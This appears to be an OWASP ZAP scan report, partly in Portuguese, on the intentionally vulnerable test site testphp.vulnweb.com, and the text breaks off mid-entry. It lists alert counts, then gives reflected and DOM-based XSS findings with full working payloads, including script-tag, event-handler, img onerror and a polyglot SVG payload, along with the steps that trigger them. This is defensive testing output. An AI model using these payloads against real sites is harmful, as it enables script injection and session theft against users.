ZAP by Checkmarx Scanning Report

Site: http://testphp.vulnweb.com

Generated on seg., 24 fev. 2025 15:15:41

ZAP Version: 2.15.0

ZAP by Checkmarx

Summary of Alerts

Nível de Risco	Number of Alerts
Alto	3
Médio	4
Baixo	3
Informativo	7

Alertas

Nome	Nível de Risco	Number of Instances
Cross Site Scripting (Refletido)	Alto	19
Cross Site Scripting (baseado em DOM)	Alto	15
Injeção SQL - MySQL	Alto	19
Ausência de tokens Anti-CSRF	Médio	4
Content Security Policy (CSP) Header Not Set	Médio	54
Injeção XSLT	Médio	2
Missing Anti-clickjacking Header	Médio	46
O servidor vaza informações por meio dos campos de cabeçalho de resposta HTTP "X-Powered-By"	Baixo	79
Server Leaks Version Information via "Server" HTTP Response Header Field	Baixo	92
X-Content-Type-Options Header Missing	Baixo	82
Authentication Request Identified	Informativo	2
Divulgação de Informações - Comentários Suspeitos	Informativo	1
GET for POST	Informativo	3
Modern Web Application	Informativo	9
Má Combinação de Charset (Cabeçalho versus Meta Content-Type Charset)	Informativo	32
User Agent Fuzzer	Informativo	223
User Controllable HTML Element Attribute		

(Potential XSS)	Informativo	4

Alert Detail

Alto	Cross Site Scripting (Refletido)
Descrição	Cross-site Scripting (XSS) é uma técnica de ataque que envolve a replicação e execução de código fornecido pelo invasor na instância do navegador do usuário. Uma instância do navegador pode ser um cliente de navegador padrão ou um objeto de navegador incorporado em um produto de software, como o navegador no WinAmp, um leitor de RSS ou um cliente de e-mail. O código em si é geralmente escrito em HTML/JavaScript, mas também pode se estender para VBScript, ActiveX, Java, Flash ou qualquer outra tecnologia compatível com navegador. Quando um invasor faz com que o navegador de um usuário execute seu código, o código será executado dentro do contexto de segurança (ou zona) do site de hospedagem. Com este nível de privilégio, o código tem a capacidade de ler, modificar e transmitir quaisquer dados confidenciais acessíveis pelo navegador. Um usuário afetado por script de cross-site pode ter sua conta sequestrada (roubo de cookie), seu navegador redirecionado para outro local ou possivelmente mostrando conteúdo fraudulento fornecido pelo suposto site que está visitando. Os ataques de script cross-site comprometem essencialmente a relação de confiança entre um usuário e o site. Aplicativos que utilizam instâncias de objeto de navegador que carregam conteúdo do sistema de arquivos podem executar código na zona da máquina local, permitindo o comprometimento do sistema. Existem três tipos de ataques de Cross-site Scripting: não persistente, persistente e baseado em DOM. Ataques não persistentes e ataques baseados em DOM exigem que o usuário visite um link especialmente criado com código malicioso ou visite uma página da web maliciosa contendo um formulário da web que, quando postado no site vulnerável, montará o ataque. O uso de um formulário mal-intencionado geralmente ocorre quando o recurso vulnerável aceita apenas solicitações HTTP POST. Nesse caso, o formulário pode ser enviado automaticamente sem o conhecimento da vítima (por exemplo, usando JavaScript). Ao clicar no link malicioso ou enviar o formulário malicioso, a carga XSS será ecoada de volta e será interpretada pelo navegador do usuário e executada. Outra técnica para enviar solicitações quase arbitrárias (GET e POST) é usar um cliente incorporado, como o Adobe Flash. Ataques persistentes ocorrem quando o código malicioso é enviado a um site onde é armazenado por um período de tempo. Exemplos dos alvos favoritos de um invasor geralmente incluem postagens em quadros de mensagens, mensagens de webmail e software de bate-papo na web. Não é requerido do usuário desavisado, que interaja com qualquer site/link adicional (por exemplo, um site invasor ou um link malicioso enviado por e-mail), basta simplesmente visualizar a página da web que contém o código.
URL	http://testphp.vulnweb.com/artists.php?artist=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/hpp/?pp=%22+onMouseOver%3D%22alert%281%29%3B
Método	GET
Ataque	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	

URL	http://testphp.vulnweb.com/hpp/params.php?p=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E&pp=12
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	GET
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	</td><scrIpt>alert(1);</scRipt><td>
Evidence	</td><scrIpt>alert(1);</scRipt><td>
Other	

Info	
URL	http://testphp.vulnweb.com/search.php?test=%27%22%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
Método	POST
Ataque	'"<scrIpt>alert(1);</scRipt>
Evidence	'"<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scrIpt>alert(1);</scRipt>
Evidence	<scrIpt>alert(1);</scRipt>
Other Info	

URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	<scRIpt>alert(1);</scRipt>
Evidence	<scRIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	'"<scRIpt>alert(1);</scRipt>
Evidence	'"<scRIpt>alert(1);</scRipt>
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	'"<scRIpt>alert(1);</scRipt>
Evidence	'"<scRIpt>alert(1);</scRipt>
Other Info	
Instances	19
	Fase: Arquitetura e Design. Use uma biblioteca verificada ou framework que não permita que essa vulnerabilidade ocorra, ou forneça construções/implementações que tornem essa vulnerabilidade mais fácil de evitar. Exemplos de bibliotecas e frameworks que facilitam a geração de saída codificada adequadamente incluem a biblioteca Anti-XSS da Microsoft, o módulo de codificação OWASP ESAPI e o Apache Wicket. Fases: Implementação | Arquitetura e Design. Compreenda o contexto no qual seus dados serão usados e a codificação que será esperada. Isso é especialmente importante ao transmitir dados entre componentes diferentes ou ao gerar saídas que podem conter várias codificações ao mesmo tempo, como páginas da web ou mensagens de e-mail com várias partes. Estude todos os protocolos de comunicação e representações de dados esperados para determinar as estratégias de codificação necessárias. Para quaisquer dados que serão enviados para outra página da web, especialmente quaisquer dados recebidos de entradas externas, use a codificação apropriada em todos os caracteres não alfanuméricos. Consulte a Página de Dicas de Prevenção de XSS para obter mais detalhes sobre os tipos de codificação e escape que são necessários. Fase: Arquitetura e Design. Para todas as verificações de segurança realizadas no lado do cliente, certifique-se de que essas verificações sejam duplicadas no lado do servidor, a fim de evitar a CWE-602. Invasores podem ignorar as verificações do lado do cliente, modificando os valores após a realização das verificações ou alterando o cliente para remover as verificações do lado do cliente completamente. Em seguida, esses valores modificados poderiam ser enviados ao servidor.

Solution	Se disponível, use mecanismos estruturados que impõem automaticamente a separação entre dados e código. Esses mecanismos podem ser capazes de fornecer citação, codificação e validação relevantes automaticamente, em vez de depender do desenvolvedor para fornecer esse recurso em cada ponto onde a saída é gerada. Fase: Implementação. Para cada página web gerada, use e especifique uma codificação de caracteres, como ISO-8859-1 ou UTF-8. Quando uma codificação não é especificada, o navegador pode escolher uma codificação diferente, tentando adivinhar por eliminação qual codificação está realmente sendo usada pela página da web. Isso pode fazer com que o navegador da web trate certas sequências como especiais, abrindo o cliente para ataques XSS sutis. Consulte a CWE-116 para obter mais informações sobre mitigações relacionadas à codificação /escape. Para ajudar a mitigar os ataques XSS contra cookie de sessão do usuário, defina o cookie de sessão como HttpOnly. Em navegadores que suportam o recurso HttpOnly (como versões mais recentes do Internet Explorer e Firefox), esse atributo pode impedir que o cookie de sessão do usuário seja acessível a scripts mal-intencionados do lado do cliente que usam document.cookie. Esta não é uma solução completa, já que HttpOnly não é compatível com todos os navegadores. Mais importante ainda, XMLHTTPRequest e outras poderosas tecnologias de navegadores fornecem acesso de leitura a cabeçalhos HTTP, incluindo o cabeçalho Set-Cookie no qual o sinalizador HttpOnly é definido. Presuma que toda a entrada de dados é maliciosa. Use uma estratégia de validação de entrada "aceita como boa", ou seja, use uma lista de permissões de entradas aceitáveis que estejam estritamente em conformidade com as especificações. Rejeite quaisquer entradas que não estejam estritamente de acordo com as especificações ou transforme-as em algo que esteja. Não confie exclusivamente na procura de entradas maliciosas ou malformadas (ou seja, não confie em uma lista de negação). No entanto, as listas de negação podem ser úteis para detectar ataques em potencial ou determinar quais entradas estão tão malformadas que devem ser rejeitadas imediatamente. Ao executar a validação de entradas de dados, considere todas as propriedades potencialmente relevantes, incluindo comprimento, tipo de entrada, a gama completa de valores aceitáveis, entradas ausentes ou extras, sintaxe, consistência entre campos relacionados e conformidade com as regras de negócios. Como um exemplo de lógica de regra de negócios, "barco" pode ser sintaticamente válido porque contém apenas caracteres alfanuméricos, mas não é válido se você estiver esperando cores como "vermelho" ou "azul". Certifique-se de realizar a validação de entrada em interfaces bem definidas dentro do aplicativo. Isso ajudará a proteger o aplicativo, mesmo se um componente for reutilizado ou movido para outro lugar.
Reference	https://owasp.org/www-community/attacks/xss/ https://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Plugin Id	40012

Alto	**Cross Site Scripting (baseado em DOM)**
	Cross-site Scripting (XSS) é uma técnica de ataque que envolve a replicação e execução de código fornecido pelo invasor na instância do navegador do usuário. Uma instância do navegador pode ser um cliente de navegador padrão ou um objeto de navegador incorporado em um produto de software, como o navegador no WinAmp, um leitor de RSS ou um cliente de e-mail. O código em si é geralmente escrito em HTML/JavaScript, mas também pode se estender para VBScript, ActiveX, Java, Flash ou qualquer outra tecnologia compatível com navegador. Quando um invasor faz com que o navegador de um usuário execute seu código, o código será executado dentro do contexto de segurança (ou zona) do site de hospedagem. Com este nível de privilégio, o código tem a capacidade de ler, modificar e transmitir quaisquer dados confidenciais acessíveis pelo navegador. Um usuário afetado por script de cross-site pode ter sua conta sequestrada (roubo de cookie), seu navegador redirecionado para outro

Descrição	local ou possivelmente mostrando conteúdo fraudulento fornecido pelo suposto site que está visitando. Os ataques de script cross-site comprometem essencialmente a relação de confiança entre um usuário e o site. Aplicativos que utilizam instâncias de objeto de navegador que carregam conteúdo do sistema de arquivos podem executar código na zona da máquina local, permitindo o comprometimento do sistema. Existem três tipos de ataques de Cross-site Scripting: não persistente, persistente e baseado em DOM. Ataques não persistentes e ataques baseados em DOM exigem que o usuário visite um link especialmente criado com código malicioso ou visite uma página da web maliciosa contendo um formulário da web que, quando postado no site vulnerável, montará o ataque. O uso de um formulário mal-intencionado geralmente ocorre quando o recurso vulnerável aceita apenas solicitações HTTP POST. Nesse caso, o formulário pode ser enviado automaticamente sem o conhecimento da vítima (por exemplo, usando JavaScript). Ao clicar no link malicioso ou enviar o formulário malicioso, a carga XSS será ecoada de volta e será interpretada pelo navegador do usuário e executada. Outra técnica para enviar solicitações quase arbitrárias (GET e POST) é usar um cliente incorporado, como o Adobe Flash. Ataques persistentes ocorrem quando o código malicioso é enviado a um site onde é armazenado por um período de tempo. Exemplos dos alvos favoritos de um invasor geralmente incluem postagens em quadros de mensagens, mensagens de webmail e software de bate-papo na web. Não é requerido do usuário desavisado, que interaja com qualquer site/link adicional (por exemplo, um site invasor ou um link malicioso enviado por e-mail), basta simplesmente visualizar a página da web que contém o código.
URL	http://testphp.vulnweb.com#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2] Access: http://testphp.vulnweb.com<PAYLOAD_0>
URL	http://testphp.vulnweb.com/?name=abc#<img src="random.gif" onerror=alert(5397)>
Método	GET
Ataque	?name=abc#<img src="random.gif" onerror=alert(5397)>
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: ?name=abc#<img src="random.gif" onerror=alert(5397)> Access: http://testphp.vulnweb.com/<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2]
URL	http://testphp.vulnweb.com/artists.php?artist=3#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/<

Other Info	/teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com/artists.php?artist=3<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/artists.php?artist=3<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2] Access: http://testphp.vulnweb.com/artists.php?artist=3<PAYLOAD_0>
URL	http://testphp.vulnweb.com/artists.php?name=abc#<img src="random.gif" onerror=alert(5397)>
Método	GET
Ataque	?name=abc#<img src="random.gif" onerror=alert(5397)>
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: ?name=abc#<img src="random.gif" onerror=alert(5397)> Access: http://testphp.vulnweb.com/artists.php<PAYLOAD_0> Write to /html/body/div[1]/div[7]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[7]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/artists.php<PAYLOAD_0> Write to /html/body/div[1]/div[7]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[7]/div[1]/form/input[2]
URL	http://testphp.vulnweb.com/cart.php#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com/cart.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/cart.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2]
URL	http://testphp.vulnweb.com/disclaimer.php?name=abc#<img src="random.gif" onerror=alert(5397)>
Método	GET
Ataque	?name=abc#<img src="random.gif" onerror=alert(5397)>
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: ?name=abc#<img src="random.gif" onerror=alert(5397)> Access: http://testphp.vulnweb.com/disclaimer.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/disclaimer.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2]
URL	http://testphp.vulnweb.com/guestbook.php?name=abc#<img src="random.gif" onerror=alert(5397)>
Método	GET
Ataque	?name=abc#<img src="random.gif" onerror=alert(5397)>
Evidence	
	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: ?name=abc#<img src="random.gif" onerror=alert(5397)> Access: http://testphp.vulnweb.com/guestbook.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[2]/form/input[1] the value: <PAYLOAD_0> Access: http://testphp.vulnweb.com/guestbook.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[2]/form/input[2] the value: <PAYLOAD_0> Click element:

Other Info	/html/body/div[1]/div[3]/div[2]/form/input[2] Access: http://testphp.vulnweb.com/guestbook.php<PAYLOAD_0> Write to /html/body/div[1]/div[6]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/guestbook.php<PAYLOAD_0> Write to /html/body/div[1]/div[6]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div[1]/form/input[2]
URL	http://testphp.vulnweb.com/hpp/params.php?p=%3Cscript%3Ealert(5397)%3C/script%3E&pp=12
Método	GET
Ataque	<script>alert(5397)</script>
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_1> as: %3Cscript%3Ealert(5397)%3C/script%3E Access: http://testphp.vulnweb.com/hpp/params.php?p=<PAYLOAD_1>&pp=12
URL	http://testphp.vulnweb.com/index.php#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com/index.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/index.php<PAYLOAD_0> Write to /html/body/div[1]/div[5]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[5]/div[1]/form/input[2] Access: http://testphp.vulnweb.com/index.php<PAYLOAD_0>
URL	http://testphp.vulnweb.com/listproducts.php?artist=3#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com/listproducts.php?artist=3<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[4]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/listproducts.php?artist=3<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[4]/div[1]/form/input[2] Access: http://testphp.vulnweb.com/listproducts.php?artist=3<PAYLOAD_0>
URL	http://testphp.vulnweb.com/listproducts.php?cat=4#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.vulnweb.com/listproducts.php?cat=4<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1]

Other Info	/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[4]/div[1]/form /input[1] Access: http://testphp.vulnweb.com/listproducts.php?cat=4<PAYLOAD_0> Write to /html/body/div[1]/div[4]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html /body/div[1]/div[4]/div[1]/form/input[2] Access: http://testphp.vulnweb.com/listproducts.php? cat=4<PAYLOAD_0>
URL	http://testphp.vulnweb.com/login.php#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397)) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert (5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp. vulnweb.com/login.php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[1]/form/table /tbody/tr[1]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div[1] /form/table/tbody/tr[1]/td[2]/input Access: http://testphp.vulnweb.com/login. php<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[1]/form/table/tbody/tr[2]/td[2]/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div[1]/form/table/tbody/tr[2] /td[2]/input Access: http://testphp.vulnweb.com/login.php<PAYLOAD_0> Write to /html/body /div[1]/div[3]/div[1]/form/table/tbody/tr[3]/td/input the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div[1]/form/table/tbody/tr[3]/td/input Access: http://testphp.vulnweb. com/login.php<PAYLOAD_0> Write to /html/body/div[1]/div[6]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/login.php<PAYLOAD_0> Write to /html/body/div[1]/div[6]/div[1] /form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div[1]/form /input[2]
URL	http://testphp.vulnweb.com/product.php?pic=7#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert (5397))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg /oNloAd=alert(5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
Other Info	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp. vulnweb.com/product.php?pic=7<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[2]/form /input[1] the value: <PAYLOAD_0> Access: http://testphp.vulnweb.com/product.php? pic=7<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[2]/form/input[2] the value: <PAYLOAD_0> Access: http://testphp.vulnweb.com/product.php?pic=7<PAYLOAD_0> Write to /html/body/div[1]/div[3]/div[2]/form/input[3] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[3]/div[2]/form/input[3] Access: http://testphp.vulnweb.com/product.php? pic=7<PAYLOAD_0> Write to /html/body/div[1]/div[6]/div[1]/form/input[1] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div[1]/form/input[1] Access: http://testphp.vulnweb.com/product.php?pic=7<PAYLOAD_0> Write to /html/body/div[1]/div [6]/div[1]/form/input[2] the value: <PAYLOAD_0> Click element: /html/body/div[1]/div[6]/div [1]/form/input[2] Access: http://testphp.vulnweb.com/product.php?pic=7<PAYLOAD_0>
URL	http://testphp.vulnweb.com/signup.php#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397)) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert (5397)//>\x3e
Método	GET
Ataque	#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e
Evidence	
	The following steps were done to trigger the DOM XSS: With <PAYLOAD_0> as: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(5397))//%0D%0A%0d%0a//</stYle/</titLe/< /teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(5397)//>\x3e Access: http://testphp.

